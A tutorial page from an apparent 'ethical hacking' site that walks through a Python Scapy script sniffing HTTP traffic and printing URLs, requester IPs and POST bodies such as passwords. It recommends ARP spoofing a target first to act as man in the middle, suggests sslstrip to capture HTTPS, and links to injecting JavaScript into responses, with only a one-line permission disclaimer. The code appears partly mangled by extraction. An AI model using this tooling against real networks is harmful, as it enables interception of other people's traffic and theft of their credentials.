How to Sniff HTTP Packets in the Network using Scapy in Python

Sniffing and printing HTTP packet information, such as the url and raw data ( passwords, search queries, etc. ) in case the method is POST.
  · 5 min read · Updated jul 2022 · Ethical Hacking · Packet Manipulation Using Scapy

Before we get started, have you tried our new Python Code Assistant? It's like having an expert coder at your fingertips. Check it out!

Monitoring the network always seems to be a useful task for network security engineers, as it enables them to see what is happening in the network, see and control malicious traffic, etc. In this tutorial, you will see how you can sniff HTTP packets in the network using Scapy in Python.

There are other tools to capture traffic, such as tcpdump or Wireshark, but in this guide, we'll use the Scapy library in Python to sniff packets.

The basic idea behind the recipe we will see in this tutorial is that we keep sniffing packets. Once an HTTP request is captured, we extract some information from the packet and print them out. Easy enough? let's get started.

In Scapy 2.4.3+, HTTP packets are supported by default. Let's install the requirements for this tutorial:

pip3 install scapy colorama

If you have problems installing Scapy, check these tutorials:

We need colorama here just for changing text color in the terminal.

Let's import the necessary modules:

from scapy.all import *
from scapy.layers.http import HTTPRequest # import HTTP packet
from colorama import init, Fore
# initialize colorama
# define colors
RED   = Fore.RED

Let's define the function that handles sniffing:

def sniff_packets(iface=None):
    Sniff 80 port packets with `iface`, if None (default), then the
    Scapy's default interface is used
    if iface:
        # port 80 for http (generally)
        # `process_packet` is the callback
        sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
        # sniff with default interface
        sniff(filter="port 80", prn=process_packet, store=False)

As you may notice, we specified port 80 here, that is because HTTP's standard port is 80, so we're already filtering out packets that we don't need.

We passed the process_packet() function to sniff() function as the callback that is called whenever a packet is sniffed, it takes packet as an argument, let's implement it:

def process_packet(packet):
    This function is executed whenever a packet is sniffed
    if packet.haslayer(HTTPRequest):
        # if this packet is an HTTP Request
        # get the requested URL
        url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
        # get the requester's IP Address
        ip = packet[IP].src
        # get the request method
        method = packet[HTTPRequest].Method.decode()
        print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
        if show_raw and packet.haslayer(Raw) and method == "POST":
            # if show_raw flag is enabled, has raw data, and the requested method is "POST"
            # then show raw
            print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")

Related: Build 24 Ethical Hacking Scripts & Tools with Python EBook

We are extracting the requested URL, the requester's IP, and the request method here, but don't be limited to that. Try to print the whole HTTP request packet using the method, you'll see a tremendous amount of information you can extract there.

Don't worry about the show_raw variable; it is just a global flag that indicates whether we print POST raw data, such as passwords, search queries, etc. We're going to pass it into the script's arguments.

Now let's implement the main code:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
                                                 + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
    parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
    # parse arguments
    args = parser.parse_args()
    iface = args.iface
    show_raw = args.show_raw

We've used the argparse module to parse arguments from the command line or terminal; let's run the script now (I've named it

root@rockikz:~/pythonscripts# python3 -i wlan0 --show-raw

Here is the output after browsing HTTP websites on my local machine:

HTTP Requests capturedYou may wonder now what is the benefit of sniffing HTTP packets on my local computer. Well, you can sniff packets all over the network or a specific host when you are a man-in-the-middle.

To do that, you need to arp spoof the target using this script. Here is how you use it:

ARP Spoof attack

At this moment, we are spoofing "" saying that we are the router, so any packet that goes to or comes out of that target machine will flow to us first, then to the router. For more information, check this tutorial.

Now let's try to run the script again:

root@rockikz:~/pythonscripts# python3 -i wlan0 --show-raw

After browsing the internet on "" (which is my Windows machine), I got this output (in my attacking machine):

[+] Requested with GET
[+] Requested with GET
[+] Requested with GET
[+] Requested with GET

Pretty cool, right? Note that you can also extend that using sslstrip to be able to sniff HTTPS requests also!

DISCLAIMER: Use this on a network you have permission to. The author isn't responsible for any damage you cause to a network you don't have permission to.

Alright, so this was a quick demonstration of how you can sniff packets in the network. This is an example, though. You can change the code whatever you like, and experiment with it!

Also, there is a possibility to modify these packets and inject Javascript into HTTP responses. Check this tutorial for that.

Finally, we have an Ethical Hacking with Python Ebook, in which we build over 20 infosec and hacking tools and programs. Make sure to check it out here if you're interested!

Learn AlsoHow to Make a DNS Spoof attack using Scapy in Python.

Happy Sniffing ♥

Liked what you read? You'll love what you can learn from our AI-powered Code Explainer. Check it out!

View Full Code Explain My Code
Sharing is caring!

Read Also

Comment panel

    Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!